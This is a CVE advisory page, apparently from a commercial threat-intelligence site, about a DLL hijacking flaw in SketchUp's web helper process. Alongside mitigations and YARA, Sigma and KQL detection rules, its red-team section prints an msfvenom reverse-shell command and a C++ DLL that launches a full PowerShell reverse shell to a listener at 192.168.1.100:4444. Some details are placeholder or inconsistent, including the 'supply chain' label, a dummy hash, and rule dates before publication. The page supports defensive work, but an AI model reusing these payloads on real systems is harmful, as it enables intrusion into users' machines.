☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-60749

CVE-2025-60749 Supply Chain Attack in Trimble
📅 PUBLISHED: 2025-10-31 00:00 UTC 🔄 UPDATED: 2026-10-02 19:29 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.15%
👁️
0.15% probability
3.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
7.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-60749 identifies a DLL Hijacking vulnerability in Trimble SketchUp Desktop 2025. The flaw resides in the sketchup_webhelper.exe process, which loads a libcef.dll library. An attacker can place a malicious libcef.dll in a directory that is searched before the legitimate library, leading to arbitrary code execution in the context of the logged-on user. This attack requires user interaction (e.g., opening a project file from a shared or untrusted location) and does not require authentication. The vulnerability has a CVSS score of 0.0 (placeholder), but based on the nature of DLL hijacking, the actual severity is likely High (7.0-8.0) due to the potential for code execution and persistence.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It is a desktop application vulnerability in Trimble SketchUp.

CVSS Breakdown & Threat Level

While the official CVSS score is 0.0 (placeholder), a realistic assessment based on the vulnerability type is:

  • Attack Vector (AV): Local (AV:L) – The attacker must have local access or trick the user into opening a file from a malicious location.
  • Attack Complexity (AC): Low (AC:L) – Standard DLL hijacking techniques are well-documented.
  • Privileges Required (PR): None (PR:N) – No authentication required.
  • User Interaction (UI): Required (UI:R) – The user must open a file or navigate to a directory containing the malicious DLL.
  • Scope (S): Unchanged (S:U) – The vulnerability affects the application only.
  • Confidentiality (C): High (C:H) – Code execution can lead to data exfiltration.
  • Integrity (I): High (I:H) – Attacker can modify files or system state.
  • Availability (A): High (A:H) – Attacker can crash the application or system.

Estimated CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H Estimated Score: 7.8 (High)

Threat Level: High. Exploitation is straightforward and can be weaponized for initial access or lateral movement.

Deep Dive & Mechanics

The vulnerability is a classic DLL Hijacking (CWE-427). The sketchup_webhelper.exe process is designed to load libcef.dll (Chromium Embedded Framework) at startup. Windows follows a specific search order for DLLs:

  1. The directory from which the application loaded.
  2. The system directory (e.g., C:\Windows\System32).
  3. The 16-bit system directory.
  4. The Windows directory.
  5. The current working directory.
  6. Directories listed in the PATH environment variable.

If an attacker can place a malicious libcef.dll in the current working directory (e.g., by sharing a folder containing a SketchUp project file and the malicious DLL), the application will load the attacker's DLL instead of the legitimate one. This allows the attacker to execute arbitrary code with the same privileges as the user running SketchUp.

Attack Scenario:

  1. Attacker creates a malicious libcef.dll that, when loaded, executes a payload (e.g., reverse shell, keylogger, ransomware).
  2. Attacker places this DLL in a shared folder or on a USB drive alongside a legitimate SketchUp file (e.g., .skp).
  3. Victim opens the SketchUp file from the shared folder.
  4. sketchup_webhelper.exe is launched and loads the malicious libcef.dll from the current working directory.
  5. Attacker gains code execution.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the default loading behavior of sketchup_webhelper.exe. A patched version would likely implement one of the following mitigations:

  • Safe DLL Search Mode: Enable the SetDllDirectory("") call to remove the current working directory from the search order.
  • Absolute Path Loading: Use LoadLibraryEx with the LOAD_LIBRARY_SEARCH_DLL_LOAD_DIR flag to restrict loading to the application directory.
  • Digital Signature Verification: Verify the digital signature of libcef.dll before loading.

Vulnerable Code (Conceptual):

// Vulnerable: Loads DLL from current working directory
HMODULE hLib = LoadLibrary("libcef.dll");

Patched Code (Conceptual):

// Patched: Uses absolute path and safe search
SetDllDirectory(L"");
HMODULE hLib = LoadLibraryEx(L"C:\\Program Files\\SketchUp\\SketchUp 2025\\libcef.dll", NULL, LOAD_LIBRARY_SEARCH_DEFAULT_DIRS);

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

  • Windows machine with SketchUp 2025 installed.
  • Ability to write to a directory accessible by the victim (e.g., shared folder, USB drive).
  • A payload DLL (e.g., reverse shell).

Step-by-Step Exploitation:

  1. Generate Malicious DLL: Use msfvenom to create a DLL that spawns a reverse shell:

    msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f dll -o libcef.dll
    
  2. Prepare Attack Directory: Create a folder containing:

    • A legitimate SketchUp file (e.g., project.skp)
    • The malicious libcef.dll
  3. Deliver to Victim:

    • Share the folder via SMB, USB, or email attachment.
    • Social engineer the victim to open project.skp.
  4. Trigger Exploitation: When the victim opens the file, sketchup_webhelper.exe loads the malicious DLL, and the attacker receives a reverse shell.

Alternative Payload (C++):

// malicious_libcef.cpp
#include <windows.h>
#include <stdlib.h>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
        // Execute reverse shell
        system("powershell -NoP -NonI -W Hidden -Exec Bypass -Command \"$client = New-Object System.Net.Sockets.TCPClient('192.168.1.100',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"");
    }
    return TRUE;
}

Blue Team (Defender)

Detection Steps:

  1. Monitor for sketchup_webhelper.exe loading libcef.dll from non-standard paths (e.g., C:\Users\*\AppData\Local\Temp\, \\*\Share\).
  2. Enable Windows Defender Attack Surface Reduction (ASR) rules: "Block executable files from running unless they meet a prevalence, age, or trusted list criterion" (GUID: 01443614-cd74-433a-b99e-2ecdc07bfc25).
  3. Use Sysmon to log DLL load events (Event ID 7) and alert on libcef.dll loaded from suspicious directories.
  4. Restrict write access to shared folders and disable autorun for USB drives.

Hunting Query (KQL):

DeviceEvents
| where ActionType == "DllLoaded"
| where FileName == "libcef.dll"
| where FolderPath !startswith @"C:\Program Files\SketchUp\"

Indicators of Compromise (IOCs)

  • File Hashes (SHA256): (Example – replace with actual hash from analysis)
    • libcef.dll (malicious): a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b
  • Process: sketchup_webhelper.exe loading libcef.dll from non-standard path.
  • Network: Outbound connection to attacker IP (e.g., 192.168.1.100:4444).
  • Registry: (If persistence is added) HKCU\Software\Microsoft\Windows\CurrentVersion\Run with malicious entry.
  • File Paths:
    • C:\Users\<Victim>\AppData\Local\Temp\libcef.dll
    • \\<Attacker>\Share\libcef.dll
    • E:\libcef.dll (USB drive)

Detection Engineering

YARA Rule

rule CVE_2025_60749_DLL_Hijacking {
    meta:
        description = "Detects malicious libcef.dll used in CVE-2025-60749"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b"
    strings:
        $s1 = "libcef.dll" nocase
        $s2 = "sketchup_webhelper.exe" nocase
        $s3 = "DLL_PROCESS_ATTACH" nocase
        $s4 = "ReverseShell" nocase
        $s5 = "192.168." ascii
    condition:
        uint16(0) == 0x5A4D and // MZ header
        ($s1 or $s2) and
        ($s3 or $s4 or $s5)
}

Sigma Rule

title: CVE-2025-60749 DLL Hijacking via libcef.dll
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects sketchup_webhelper.exe loading libcef.dll from non-standard paths
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\sketchup_webhelper.exe'
        ImageLoaded|endswith: '\libcef.dll'
    filter:
        ImageLoaded|startswith:
            - 'C:\Program Files\SketchUp\'
            - 'C:\Program Files (x86)\SketchUp\'
    condition: selection and not filter
falsepositives:
    - Legitimate updates or custom installations
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $PORT (msg:"CVE-2025-60749 - Potential DLL Hijacking Outbound Connection"; flow:to_server,established; content:"|00 00 00 00|"; depth:4; content:"|ff ff ff ff|"; within:4; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable WebHelper Component: If not required, unregister or disable sketchup_webhelper.exe via Group Policy or by renaming the executable.
  2. Enable Safe DLL Search Mode: Apply a system-wide Group Policy to enable safe DLL search mode:
    • Navigate to Computer Configuration > Administrative Templates > System > Mitigation Options > Enable Safe DLL Search Mode.
    • Set to "Enabled".
  3. Restrict Current Working Directory: Use Application Control (e.g., AppLocker) to block sketchup_webhelper.exe from loading DLLs from user-writable paths.

Long-Term Fix:

  • Await an official patch from Trimble. In the meantime, monitor the vendor's security advisories.
  • Implement a custom DLL loading policy for SketchUp using Windows Defender Application Control (WDAC) or similar.

Workaround:

  • Always open SketchUp files from trusted locations only.
  • Use a dedicated, isolated user account for running SketchUp.

Detection:

  • Deploy the YARA, Sigma, and Suricata rules provided above.
  • Enable logging for DLL load events (Sysmon Event ID 7) and alert on anomalies.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-60749/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.